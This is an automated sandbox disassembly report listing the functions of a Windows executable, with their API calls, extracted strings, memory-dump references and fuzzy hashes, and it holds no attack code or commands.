Associated: 0000000B.00000002.2645929019.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646178874.00007FF635370000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646203261.00007FF635371000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646228377.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: fputc
String ID:
API String ID: 1992160199-0
Opcode ID: f294bb9004327c1bec0d0349a18b948e00fe3e45a64ad46b07d7e6d5aa7348cc
Instruction ID: 353da27722c9ed2e071d43f128b140831d6632abf57c02b84b759ce5b215a4b6
Opcode Fuzzy Hash: f294bb9004327c1bec0d0349a18b948e00fe3e45a64ad46b07d7e6d5aa7348cc
Instruction Fuzzy Hash: 3BE173B2A1920386E7648F25D26073937E2EB44F58F258235CB4A87788DF3EEC41DB44

Function 00007FF6350D2F30 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 76libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF6350D2F81
GetProcAddress.KERNEL32 ref: 00007FF6350D2FD0
wcslen.MSVCRT ref: 00007FF6350D3016

Strings

4.&., xrefs: 00007FF6350D2FA8
J, xrefs: 00007FF6350D2F8F
basic_string: construction from null is not valid, xrefs: 00007FF6350D3050
TEMP, xrefs: 00007FF6350D2FD6

Memory Dump Source

Source File: 0000000B.00000002.2645793360.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000B.00000002.2645775160.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645898250.00007FF6351DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645929019.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646178874.00007FF635370000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646203261.00007FF635371000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646228377.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: AddressLibraryLoadProcwcslen
String ID: 4.&.$J$TEMP$basic_string: construction from null is not valid
API String ID: 1064947497-679671853
Opcode ID: 2b3813a550977f849a814cab301f845937e69ffc04f6b1439139e8e5e0fef5e4
Instruction ID: a03100e5c67529c8f01566af6209ccbfc0ea920a9bd610258d39bd684afcf0e8
Opcode Fuzzy Hash: 2b3813a550977f849a814cab301f845937e69ffc04f6b1439139e8e5e0fef5e4
Instruction Fuzzy Hash: A531A472A19B8792EB119B24E4002AEB7A0FF85F84F404532DA4D57B58EF3DD907DB00

Function 00007FF6350EBBF0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 57COMMON

Download Yara Rule

APIs

RaiseException.KERNEL32 ref: 00007FF6350EBC22
RaiseException.KERNEL32 ref: 00007FF6350EBC44
abort.MSVCRT ref: 00007FF6350EBC70
RaiseException.KERNEL32 ref: 00007FF6350EBCB7

Strings

CCG", xrefs: 00007FF6350EBCB2
CCG", xrefs: 00007FF6350EBC3F
CCG , xrefs: 00007FF6350EBC1D

Memory Dump Source

Source File: 0000000B.00000002.2645793360.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000B.00000002.2645775160.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645898250.00007FF6351DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645929019.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646178874.00007FF635370000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646203261.00007FF635371000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646228377.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: ExceptionRaise$abort
String ID: CCG $CCG"$CCG"
API String ID: 3325032505-1179968548
Opcode ID: dc1771becb5f7d7a174ac4ee873c316158b39dbcf1eb3e3089c99a13fe7347f6
Instruction ID: 0eba2e94c9723c6274806e7588a51e0f1c7663af7ed286570949b665db499ca6
Opcode Fuzzy Hash: dc1771becb5f7d7a174ac4ee873c316158b39dbcf1eb3e3089c99a13fe7347f6
Instruction Fuzzy Hash: 3C216072A25B85C3E3508B54E4403A96760F7D9B88F20A226EA8D47364EF7AC5928700

Function 00007FF6350F5C10 Relevance: 11.5, APIs: 9, Instructions: 204COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00007FF6350F5C87
LeaveCriticalSection.KERNEL32 ref: 00007FF6350F5CBD

Memory Dump Source

Source File: 0000000B.00000002.2645793360.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000B.00000002.2645775160.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645898250.00007FF6351DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645929019.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646178874.00007FF635370000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646203261.00007FF635371000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646228377.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: CriticalLeaveSectionfree
String ID:
API String ID: 1679108487-0
Opcode ID: 0a39d54c4b8118eeac1813de6071f9f4248c2c55380da599ed2aec127bf9b2c2
Instruction ID: bcc4cc87cb44d4e78078d298d563e119d95b51233c3143f2dbf18795860a7603
Opcode Fuzzy Hash: 0a39d54c4b8118eeac1813de6071f9f4248c2c55380da599ed2aec127bf9b2c2
Instruction Fuzzy Hash: 51916B31E1AB4389FB24DB54E99427922E1AF44F84F494536CA0E87798EF3DFC51A384

Function 00007FF6350D2600 Relevance: 10.6, APIs: 7, Instructions: 105stringCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 00007FF6350D26EA
strcpy_s.MSVCRT ref: 00007FF6350D272E
strcpy_s.MSVCRT ref: 00007FF6350D2741
strcpy_s.MSVCRT ref: 00007FF6350D274F
_strlwr.MSVCRT ref: 00007FF6350D2755
_strlwr.MSVCRT ref: 00007FF6350D275E
strstr.MSVCRT ref: 00007FF6350D276A

Memory Dump Source

Source File: 0000000B.00000002.2645793360.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000B.00000002.2645775160.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645898250.00007FF6351DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645929019.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646178874.00007FF635370000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646203261.00007FF635371000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646228377.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: strcpy_s$_strlwr$ByteCharMultiWidestrstr
String ID:
API String ID: 606828236-0
Opcode ID: c9a725f9162f59c41cee2fa39016cf96b5296817a48e5951eed084d6514580bc
Instruction ID: 21a59cb7d5380c64662b73715df233f9a1364ac0d07b555898739314b17db6d6
Opcode Fuzzy Hash: c9a725f9162f59c41cee2fa39016cf96b5296817a48e5951eed084d6514580bc
Instruction Fuzzy Hash: A641BD72608BC286EB218F16F9407AAB7A5FB89BD4F440125EE8D43B98CF7DD941D700

Function 00007FF6350EF340 Relevance: 9.4, APIs: 6, Instructions: 414COMMON

Download Yara Rule

APIs

fputc.MSVCRT ref: 00007FF6350EF4C2
fputc.MSVCRT ref: 00007FF6350EF53A
fputc.MSVCRT ref: 00007FF6350EF592

Memory Dump Source

Source File: 0000000B.00000002.2645793360.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000B.00000002.2645775160.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645898250.00007FF6351DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645929019.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646178874.00007FF635370000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646203261.00007FF635371000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646228377.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: fputc
String ID:
API String ID: 1992160199-0
Opcode ID: 3c91229a8620996d77b275314aee762391fa8306f714f08d228cfd6e98818314
Instruction ID: b42a3f50eb87c564767256652c8d6d84779a655b938a06f9a4ca8988d31a551f
Opcode Fuzzy Hash: 3c91229a8620996d77b275314aee762391fa8306f714f08d228cfd6e98818314
Instruction Fuzzy Hash: 6DF1E463E18A8386EB218F2591047392A91AB54FE8F75A231CA5D977C4CF3EFD41A700

Function 00007FF6350F6EA0 Relevance: 9.1, APIs: 6, Instructions: 108COMMON

Download Yara Rule

APIs

___mb_cur_max_func.MSVCRT ref: 00007FF6350F6ECB
___lc_codepage_func.MSVCRT ref: 00007FF6350F6ED3
IsDBCSLeadByteEx.KERNEL32 ref: 00007FF6350F6F23
MultiByteToWideChar.KERNEL32 ref: 00007FF6350F6F55

Memory Dump Source

Source File: 0000000B.00000002.2645793360.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000B.00000002.2645775160.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645898250.00007FF6351DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645929019.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646178874.00007FF635370000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646203261.00007FF635371000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646228377.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: Byte$CharLeadMultiWide___lc_codepage_func___mb_cur_max_func
String ID:
API String ID: 2785433807-0
Opcode ID: b8ade29cbcad1670599392aa2893148449ef957c3984b89b714999f8b731dc73
Instruction ID: b97840e85134378ed27ebf027f0d9eaab13848e8424dbefd95ec1556007e3c4c
Opcode Fuzzy Hash: b8ade29cbcad1670599392aa2893148449ef957c3984b89b714999f8b731dc73
Instruction Fuzzy Hash: E5312B23B1924389F7624B21A8003BD66D46F40BF8F484236EE68877C0DF7ED885D744

Function 00007FF6350D1E18 Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 83COMMON

Download Yara Rule

APIs

rand.MSVCRT ref: 00007FF6350D1E18
rand.MSVCRT ref: 00007FF6350D1E35
rand.MSVCRT ref: 00007FF6350D1E5A

Strings

+-*/, xrefs: 00007FF6350D1E7C
Performing arithmetic operations on: , xrefs: 00007FF6350D1E73
and , xrefs: 00007FF6350D1E97

Memory Dump Source

Source File: 0000000B.00000002.2645793360.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000B.00000002.2645775160.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645898250.00007FF6351DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645929019.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646178874.00007FF635370000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646203261.00007FF635371000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646228377.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: rand
String ID: and $+-*/$Performing arithmetic operations on:
API String ID: 415692148-3864222635
Opcode ID: f0d3409b9f0d6e33847339fe865cbda917983b98c22d437aab5b055a0af117dc
Instruction ID: 0c82caec6284f3b88e24552973770173692ae574c7b1d21c2222388c08c124c0
Opcode Fuzzy Hash: f0d3409b9f0d6e33847339fe865cbda917983b98c22d437aab5b055a0af117dc
Instruction Fuzzy Hash: 7D21E412F0AA2744EA14AB2AD84527E57E26FC5F80F489131DD0EC779EDE3DED00A340

Function 00007FF6350D4480 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 105COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 00007FF6350D4605

Strings

MF3A, xrefs: 00007FF6350D456F
>, xrefs: 00007FF6350D451E
@, xrefs: 00007FF6350D459E
@, xrefs: 00007FF6350D44EC

Memory Dump Source

Source File: 0000000B.00000002.2645793360.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000B.00000002.2645775160.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645898250.00007FF6351DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645929019.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646178874.00007FF635370000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646203261.00007FF635371000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646228377.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: HandleModule
String ID: >$@$@$MF3A
API String ID: 4139908857-2332176444
Opcode ID: 328f68d8ccde1d471623e3a916f8d5002275435361e7f0ce1315f7b9a25dafef
Instruction ID: 4916d10c36f093710241c8470badceb245da26d7424c3d08bc9e267afc5cd8dd
Opcode Fuzzy Hash: 328f68d8ccde1d471623e3a916f8d5002275435361e7f0ce1315f7b9a25dafef
Instruction Fuzzy Hash: 9741C632A0D7C982EB218F14F4403AAB7A0F789B84F814626DB8D47B58EFBDD545DB41

Function 00007FF6351C0A00 Relevance: 7.8, APIs: 4, Strings: 1, Instructions: 297COMMON

Download Yara Rule

Strings

basic_string::_M_create, xrefs: 00007FF6351C0B49, 00007FF6351C0BE2, 00007FF6351C0C72, 00007FF6351C0D02, 00007FF6351C0D92

Memory Dump Source

Source File: 0000000B.00000002.2645793360.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000B.00000002.2645775160.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645898250.00007FF6351DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645929019.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646178874.00007FF635370000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646203261.00007FF635371000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646228377.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID:
String ID: basic_string::_M_create
API String ID: 0-3122258987
Opcode ID: 20fa1f9c38397dc2b23d1681f4029f1745706513a81d31012c60e506a3e6e86a
Instruction ID: b9478bad973713af67ef7a387fab9849247bdc56f902ea525a3d4aa737a62d51
Opcode Fuzzy Hash: 20fa1f9c38397dc2b23d1681f4029f1745706513a81d31012c60e506a3e6e86a
Instruction Fuzzy Hash: 41A1B262F1568784EA249F26D8401BDA2A0AF45FE4F988631DE6DC73D5EF2DE881D300

Function 00007FF6350EF9C0 Relevance: 7.8, APIs: 5, Instructions: 293COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2645793360.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000B.00000002.2645775160.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645898250.00007FF6351DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645929019.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646178874.00007FF635370000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646203261.00007FF635371000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646228377.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64ea054b2a2157d068e8ab586f5ae1021de10276e6996cd183b54ca99c2502e6
Instruction ID: 61ef2293f5464617d1f9bffc44790cdae302007738c3e92a251d2976d17a87ac
Opcode Fuzzy Hash: 64ea054b2a2157d068e8ab586f5ae1021de10276e6996cd183b54ca99c2502e6
Instruction Fuzzy Hash: 44C16EB3E19A5386E7658E24C1143797BA1EB44F98F69A231CA0997384CF3EEC41E740

Function 00007FF6351BE690 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 134COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF6351BE730
memcpy.MSVCRT ref: 00007FF6351BE764

Strings

basic_string::_M_create, xrefs: 00007FF6351BE84A
Result of , xrefs: 00007FF6351BE692

Memory Dump Source

Source File: 0000000B.00000002.2645793360.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000B.00000002.2645775160.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645898250.00007FF6351DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645929019.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646178874.00007FF635370000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646203261.00007FF635371000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646228377.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: memcpy
String ID: Result of $basic_string::_M_create
API String ID: 3510742995-1160149181
Opcode ID: b576b05e5929d0f36fddaa43a352fc9423e68f72584ed5aec93aa7cb1d61b280
Instruction ID: 4153022864b2b3f9a7b091c033777d7ed85fc817f3f440f9be9bcd18e98dcf34
Opcode Fuzzy Hash: b576b05e5929d0f36fddaa43a352fc9423e68f72584ed5aec93aa7cb1d61b280
Instruction Fuzzy Hash: 4F41C426B0968754EA39BA16D11427A2752EF40FD8F544A31DE4E87789DF3CE842E381

Function 00007FF6350EA7AB Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 209memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32 ref: 00007FF6350EA8F3

Strings

%d bit pseudo relocation at %p out of range, targeting %p, yielding the value %p., xrefs: 00007FF6350EAA8A
Unknown pseudo relocation protocol version %d., xrefs: 00007FF6350EAA96
Unknown pseudo relocation bit size %d., xrefs: 00007FF6350EAA74

Memory Dump Source

Source File: 0000000B.00000002.2645793360.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000B.00000002.2645775160.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645898250.00007FF6351DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645929019.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646178874.00007FF635370000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646203261.00007FF635371000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646228377.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: ProtectVirtual
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.$%d bit pseudo relocation at %p out of range, targeting %p, yielding the value %p.
API String ID: 544645111-1286557213
Opcode ID: 8fbf73ca66cf12792ec4443d84e4f446cfa418b5437152a325ab49fbedd29060
Instruction ID: 9da6784dbc7a5b3ef6d42f0a6a4a34163275c2c2cf1bdd3c45d1c6221f5096bd
Opcode Fuzzy Hash: 8fbf73ca66cf12792ec4443d84e4f446cfa418b5437152a325ab49fbedd29060
Instruction Fuzzy Hash: D971D722F19A1342FA14871095482796391AF98F64F35A235CD6DA7BD8EF3EEC43A240

Function 00007FF6350EAB00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 75COMMON

Download Yara Rule

Strings

CCG , xrefs: 00007FF6350EAB15

Memory Dump Source

Source File: 0000000B.00000002.2645793360.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000B.00000002.2645775160.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645898250.00007FF6351DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645929019.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646178874.00007FF635370000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646203261.00007FF635371000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646228377.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID:
String ID: CCG
API String ID: 0-1584390748
Opcode ID: d3dbc5fc667eaa8116ddc9648ae4a223ff8f86823c9b38466b26c19195cb2a75
Instruction ID: c9506bc71eac9c794231cab7b2116930e4ce55b910822b7352c5c580e6f9d159
Opcode Fuzzy Hash: d3dbc5fc667eaa8116ddc9648ae4a223ff8f86823c9b38466b26c19195cb2a75
Instruction Fuzzy Hash: E6217F60E09A0342FE685269415933961C39F8CF50F396935CD1DDB3D6EF1EACD16215

Function 00007FF6350EA070 Relevance: 6.3, APIs: 5, Instructions: 96stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF6350EA0F5
memcpy.MSVCRT ref: 00007FF6350EA10E
free.MSVCRT ref: 00007FF6350EA119

Memory Dump Source

Source File: 0000000B.00000002.2645793360.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000B.00000002.2645775160.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645898250.00007FF6351DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645929019.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646178874.00007FF635370000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646203261.00007FF635371000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646228377.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: freememcpystrlen
String ID:
API String ID: 2208669145-0
Opcode ID: 616034b4082db6133acc050cdb7f1ef8251caf1ace96c15328d116e499333b8e
Instruction ID: e49682b149144cf2a48d26152fd32bd7ceacf782c3ae91735bbf5f1561c90eea
Opcode Fuzzy Hash: 616034b4082db6133acc050cdb7f1ef8251caf1ace96c15328d116e499333b8e
Instruction Fuzzy Hash: 1531C722E1DF4341F9665A116E0437A92916F88FE0F6DA270DD5DA7BC4DF2EEC41A340

Function 00007FF6350DA8F8 Relevance: 6.3, APIs: 1, Strings: 3, Instructions: 269stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF6350DAA84

Strings

t, xrefs: 00007FF6350E480A
y, xrefs: 00007FF6350E482C
ty, xrefs: 00007FF6350DA9EE

Memory Dump Source

Source File: 0000000B.00000002.2645793360.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000B.00000002.2645775160.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645898250.00007FF6351DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645929019.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646178874.00007FF635370000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646203261.00007FF635371000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646228377.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: strlen
String ID: t$ty$y
API String ID: 39653677-1920740250
Opcode ID: 87489741a1c735bb47c7c7fa151bb2518af881d747d5548b986082c319ae107a
Instruction ID: b058b9296823c0c3a59f8932d0c7355aea7184584c52d33296c43efdabc6ff24
Opcode Fuzzy Hash: 87489741a1c735bb47c7c7fa151bb2518af881d747d5548b986082c319ae107a
Instruction Fuzzy Hash: B4E1FB725087C2C6E7568F38C4143E93AA1EB29F4CF0C8135CB894B79ADBBE94959361

Function 00007FF6350DCC9C Relevance: 6.2, APIs: 3, Strings: 1, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00007FF6350DCD0C
strcmp.MSVCRT ref: 00007FF6350DCD49

Strings

(, xrefs: 00007FF6350E3FB5

Memory Dump Source

Source File: 0000000B.00000002.2645793360.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000B.00000002.2645775160.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645898250.00007FF6351DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645929019.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646178874.00007FF635370000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646203261.00007FF635371000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646228377.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: strcmp
String ID: (
API String ID: 1004003707-3887548279
Opcode ID: 44ff3ea0eba828e30fde48cf3e6407d113ef1c86855c37323daa94a633f6d87f
Instruction ID: 73991b70ae60443dd113429f82b8ba5b27eb64b8badc9f2873d95bda223428a2
Opcode Fuzzy Hash: 44ff3ea0eba828e30fde48cf3e6407d113ef1c86855c37323daa94a633f6d87f
Instruction Fuzzy Hash: 18A18D72608B8781EB158F25D4043E92BA1FB55F88F485036CF5E4B786DFBED880A360

Function 00007FF6350DBC30 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 205stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF6350E0293

Strings

a, xrefs: 00007FF6350E4E9D
